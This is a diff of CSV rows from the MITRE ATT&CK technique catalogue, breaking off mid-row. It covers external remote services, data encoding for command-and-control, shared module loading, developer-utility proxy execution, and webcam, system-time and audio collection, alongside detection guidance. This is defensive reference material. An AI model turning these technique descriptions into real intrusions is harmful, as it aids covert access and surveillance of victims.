2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.2,False,https://attack.mitre.org/techniques/T1133,mitre-attack,T1133,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,External Remote Services,"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. +Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",False,"['User', 'Administrator']","['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1133', 'external_id': 'T1133'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'}, {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'}, {'source_name': 'Trend Micro Exposed Docker Server', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}]",2.3,attack-pattern,attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:44.421Z,2021-08-19T16:57:27.209Z,External Remote Services,"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. -Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d,attack-pattern,"['persistence', 'initial-access']",2021-04-22T20:22:02.443Z,2017-05-31T21:31:44.421Z,"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)","['persistence', 'initial-access']",https://attack.mitre.org/techniques/T1133,mitre-attack,T1133,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ExtraHop', 'David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Rory McCune, Aqua Security', 'Yuval Avrahami, Palo Alto Networks', 'Jay Chen, Palo Alto Networks', 'Brad Geesaman, @bradgeesaman', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Daniel Oakley', 'Travis Smith, Tripwire']","['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']",,"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. -When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.","['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']","['ExtraHop', 'David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Rory McCune, Aqua Security', 'Yuval Avrahami, Palo Alto Networks', 'Jay Chen, Palo Alto Networks', 'Brad Geesaman, @bradgeesaman', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Daniel Oakley', 'Travis Smith, Tripwire']",,['User'],"['Windows', 'Linux', 'Containers']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1132', 'url': 'https://attack.mitre.org/techniques/T1132'}, {'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Binary-to-text Encoding'}, {'url': 'https://en.wikipedia.org/wiki/Character_encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'source_name': 'Wikipedia Character Encoding'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.1,False,https://attack.mitre.org/techniques/T1132,mitre-attack,T1132,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Encoding,"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f,attack-pattern,['command-and-control'],2020-03-14T23:39:50.338Z,2017-05-31T21:31:43.540Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],"['Itzik Kotler, SafeBreach']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1129', 'url': 'https://attack.mitre.org/techniques/T1129'}, {'url': 'https://en.wikipedia.org/wiki/Microsoft_Windows_library_files', 'description': 'Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.', 'source_name': 'Wikipedia Windows Library Files'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1129,mitre-attack,T1129,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Shared Modules,"Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files) +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",False,['User'],"['Windows', 'Linux', 'Containers', 'macOS']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132', 'external_id': 'T1132'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.1,attack-pattern,attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:43.540Z,2020-03-14T23:39:50.338Z,Data Encoding,"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",['command-and-control'],https://attack.mitre.org/techniques/T1132,mitre-attack,T1132,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']",['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1129', 'external_id': 'T1129'}, {'source_name': 'Wikipedia Windows Library Files', 'description': 'Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.', 'url': 'https://en.wikipedia.org/wiki/Microsoft_Windows_library_files'}]",2.1,attack-pattern,attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:40.542Z,2021-10-15T13:48:02.963Z,Shared Modules,"Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files) The module loader can load DLLs: @@ -3087,39 +3296,39 @@ The module loader can load DLLs: * via <file name=""filename.extension"" loadFrom=""fully-qualified or relative pathname""> in an embedded or external ""application manifest"". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT. -Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.",attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65,attack-pattern,['execution'],2020-03-28T18:14:36.980Z,2017-05-31T21:31:40.542Z,"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. +Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.",['execution'],https://attack.mitre.org/techniques/T1129,mitre-attack,T1129,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['Process: OS API Execution', 'Module: Module Load']",,"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. -Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.","['Process: OS API Execution', 'Module: Module Load']",['Stefan Kanthak'],,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1127', 'url': 'https://attack.mitre.org/techniques/T1127'}, {'url': 'https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/', 'description': 'Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.', 'source_name': 'engima0x3 DNX Bypass'}, {'url': 'https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/', 'description': 'Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.', 'source_name': 'engima0x3 RCSI Bypass'}, {'url': 'http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html', 'description': 'Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.', 'source_name': 'Exploit Monday WinDbg'}, {'source_name': 'LOLBAS Tracker', 'url': 'https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/', 'description': 'LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.'}]","[{'phase_name': 'defense-evasion', 'kill_chain_name': 'mitre-attack'}]",1.2,False,https://attack.mitre.org/techniques/T1127,mitre-attack,T1127,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Trusted Developer Utilities Proxy Execution,"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.",attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b,attack-pattern,['defense-evasion'],2021-03-05T22:25:49.118Z,2017-05-31T21:31:39.262Z,"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. +Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1127', 'external_id': 'T1127'}, {'source_name': 'engima0x3 DNX Bypass', 'description': 'Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/'}, {'source_name': 'engima0x3 RCSI Bypass', 'description': 'Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.', 'url': 'https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/'}, {'source_name': 'Exploit Monday WinDbg', 'description': 'Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.', 'url': 'http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html'}, {'source_name': 'LOLBAS Tracker', 'description': 'LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/'}]",1.2,attack-pattern,attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:39.262Z,2021-10-15T23:57:08.312Z,Trusted Developer Utilities Proxy Execution,"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.",['defense-evasion'],https://attack.mitre.org/techniques/T1127,mitre-attack,T1127,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Casey Smith', 'Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']",['Application control'],"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. -Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","['Process: Process Creation', 'Command: Command Execution']","['Casey Smith', 'Matthew Demaske, Adaptforward']",['Application control'],['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1125', 'external_id': 'T1125'}, {'external_id': 'CAPEC-634', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html'}, {'url': 'https://objective-see.com/blog/blog_0x25.html', 'description': 'Patrick Wardle. (n.d.). Retrieved March 20, 2018.', 'source_name': 'objective-see 2017 review'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1125,mitre-attack,T1125,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Video Capture,"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. +Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1125', 'external_id': 'T1125'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html', 'external_id': 'CAPEC-634'}, {'source_name': 'objective-see 2017 review', 'description': 'Patrick Wardle. (n.d.). Retrieved March 20, 2018.', 'url': 'https://objective-see.com/blog/blog_0x25.html'}]",1.0,attack-pattern,attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:37.917Z,2020-07-14T19:40:47.644Z,Video Capture,"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. -In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf,attack-pattern,['collection'],2020-07-14T19:40:47.644Z,2017-05-31T21:31:37.917Z,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. +In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",['collection'],https://attack.mitre.org/techniques/T1125,mitre-attack,T1125,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: OS API Execution', 'Command: Command Execution']",,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. -Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.","['Process: OS API Execution', 'Command: Command Execution']",['Praetorian'],,['User'],"['Windows', 'macOS']",,CAPEC-634,https://capec.mitre.org/data/definitions/634.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1124', 'url': 'https://attack.mitre.org/techniques/T1124'}, {'external_id': 'CAPEC-295', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/295.html'}, {'url': 'https://msdn.microsoft.com/ms724961.aspx', 'description': 'Microsoft. (n.d.). System Time. Retrieved November 25, 2016.', 'source_name': 'MSDN System Time'}, {'url': 'https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings', 'description': 'Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.', 'source_name': 'Technet Windows Time Service'}, {'url': 'https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf', 'description': 'Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.', 'source_name': ""RSA EU12 They're Inside""}, {'source_name': 'AnyRun TimeBomb', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1124,mitre-attack,T1124,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Time Discovery,"An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",False,['User'],"['Windows', 'macOS']",,CAPEC-634,https://capec.mitre.org/data/definitions/634.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1124', 'external_id': 'T1124'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/295.html', 'external_id': 'CAPEC-295'}, {'source_name': 'MSDN System Time', 'description': 'Microsoft. (n.d.). System Time. Retrieved November 25, 2016.', 'url': 'https://msdn.microsoft.com/ms724961.aspx'}, {'source_name': 'Technet Windows Time Service', 'description': 'Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.', 'url': 'https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings'}, {'source_name': ""RSA EU12 They're Inside"", 'description': 'Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.', 'url': 'https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf'}, {'source_name': 'AnyRun TimeBomb', 'description': 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.', 'url': 'https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/'}]",1.2,attack-pattern,attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:37.450Z,2021-04-22T23:09:24.799Z,System Time Discovery,"An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) -This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077,attack-pattern,['discovery'],2021-04-22T23:09:24.799Z,2017-05-31T21:31:37.450Z,Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","[""FIRST.ORG's Cyber Threat Intelligence SIG""]",,['User'],['Windows'],,CAPEC-295,https://capec.mitre.org/data/definitions/295.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1123', 'external_id': 'T1123'}, {'external_id': 'CAPEC-634', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1123,mitre-attack,T1123,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Audio Capture,"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. +This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",['discovery'],https://attack.mitre.org/techniques/T1124,mitre-attack,T1124,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"[""FIRST.ORG's Cyber Threat Intelligence SIG""]","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.,False,['User'],['Windows'],,CAPEC-295,https://capec.mitre.org/data/definitions/295.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1123', 'external_id': 'T1123'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/634.html', 'external_id': 'CAPEC-634'}]",1.0,attack-pattern,attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:34.528Z,2020-07-14T19:42:10.235Z,Audio Capture,"An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. -Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967,attack-pattern,['collection'],2020-07-14T19:42:10.235Z,2017-05-31T21:31:34.528Z,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. +Malware or scripts may be used to interact with the devices through an available API provided by the 